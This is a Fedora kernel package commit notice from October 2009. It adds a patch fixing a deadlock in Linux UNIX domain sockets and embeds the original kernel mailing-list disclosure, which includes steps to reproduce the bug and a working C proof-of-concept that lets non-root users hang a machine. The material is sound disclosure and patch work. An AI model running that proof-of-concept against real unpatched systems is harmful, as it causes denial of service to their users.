rpms/kernel/F-12 af_unix-fix-deadlock-connecting-to-shutdown-socket.patch, NONE, 1.1 kernel.spec, 1.1873, 1.1874

Kyle McMartin kyle at fedoraproject.org
Mon Oct 19 16:20:29 UTC 2009


Author: kyle

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21338

Modified Files:
	kernel.spec 
Added Files:
	af_unix-fix-deadlock-connecting-to-shutdown-socket.patch 
Log Message:
* Mon Oct 19 2009 Kyle McMartin <kyle at redhat.com>
- af_unix-fix-deadlock-connecting-to-shutdown-socket.patch: fix for
  rhbz#529626.


af_unix-fix-deadlock-connecting-to-shutdown-socket.patch:
 af_unix.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE af_unix-fix-deadlock-connecting-to-shutdown-socket.patch ---
>From linux-kernel-owner+kyle=40mcmartin.ca-S1753471AbZJSGXV at vger.kernel.org Mon Oct 19 02:23:31 2009
Message-ID: <4ADC010C.5070809 at hitachi.com>
Date:	Mon, 19 Oct 2009 15:02:52 +0900
From:	Tomoki Sekiyama <tomoki.sekiyama.qu at hitachi.com>
Subject: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

Hi,
I found a deadlock bug in UNIX domain socket, which makes able to DoS
attack against the local machine by non-root users.

How to reproduce:
1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
    namespace(*), and shutdown(2) it.
 2. Repeat connect(2)ing to the listening socket from the other sockets
    until the connection backlog is full-filled.
 3. connect(2) takes the CPU forever. If every core is taken, the
    system hangs.

PoC code: (Run as many times as cores on SMP machines.)

int main(void)
{
	int ret;
	int csd;
	int lsd;
	struct sockaddr_un sun;

	/* make an abstruct name address (*) */
	memset(&sun, 0, sizeof(sun));
	sun.sun_family = PF_UNIX;
	sprintf(&sun.sun_path[1], "%d", getpid());

	/* create the listening socket and shutdown */
	lsd = socket(AF_UNIX, SOCK_STREAM, 0);
	bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
	listen(lsd, 1);
	shutdown(lsd, SHUT_RDWR);

	/* connect loop */
	alarm(15); /* forcely exit the loop after 15 sec */
	for (;;) {
		csd = socket(AF_UNIX, SOCK_STREAM, 0);
		ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
		if (-1 == ret) {
			perror("connect()");
			break;
		}
		puts("Connection OK");
	}
	return 0;
}

(*) Make sun_path[0] = 0 to use the abstruct namespace.
    If a file-based socket is used, the system doesn't deadlock because
    of context switches in the file system layer.

Why this happens:
 Error checks between unix_socket_connect() and unix_wait_for_peer() are
 inconsistent. The former calls the latter to wait until the backlog is
 processed. Despite the latter returns without doing anything when the
 socket is shutdown, the former doesn't check the shutdown state and
 just retries calling the latter forever.

Patch:
 The patch below adds shutdown check into unix_socket_connect(), so
 connect(2) to the shutdown socket will return -ECONREFUSED.

Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu at hitachi.com>
Signed-off-by: Masanori Yoshida <masanori.yoshida.tv at hitachi.com>
---
 net/unix/af_unix.c |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
index 51ab497..fc820cd 100644
--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
@@ -1074,6 +1074,8 @@ restart:
 	err = -ECONNREFUSED;
 	if (other->sk_state != TCP_LISTEN)
 		goto out_unlock;
+	if (other->sk_shutdown & RCV_SHUTDOWN)
+		goto out_unlock;

 	if (unix_recvq_full(other)) {
 		err = -EAGAIN;
-- 
Tomoki Sekiyama
Linux Technology Center
Hitachi, Ltd., Systems Development Laboratory
E-mail: tomoki.sekiyama.qu at hitachi.com

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1873
retrieving revision 1.1874
diff -u -p -r1.1873 -r1.1874
--- kernel.spec	17 Oct 2009 12:53:08 -0000	1.1873
+++ kernel.spec	19 Oct 2009 16:20:29 -0000	1.1874
@@ -758,6 +758,9 @@ Patch14300: ahci-revert-restore-sb600-sa
 # fix ACPI boot hang/crash (#513680)
 Patch14400: acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch
 
+# fix local DoS connecting to shutdown unix socket (#529626)
+Patch14401: af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1417,6 +1420,9 @@ ApplyPatch ahci-revert-restore-sb600-sat
 # fix ACPI boot hang/crash (#513680)
 ApplyPatch acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch
 
+# fix for local DoS on AF_UNIX
+ApplyPatch af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2067,6 +2073,10 @@ fi
 # and build.
 
 %changelog
+* Mon Oct 19 2009 Kyle McMartin <kyle at redhat.com>
+- af_unix-fix-deadlock-connecting-to-shutdown-socket.patch: fix for
+  rhbz#529626.
+
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>
 - Replace linux-2.6-bluetooth-autosuspend.diff with upstream version.
 




More information about the fedora-extras-commits mailing list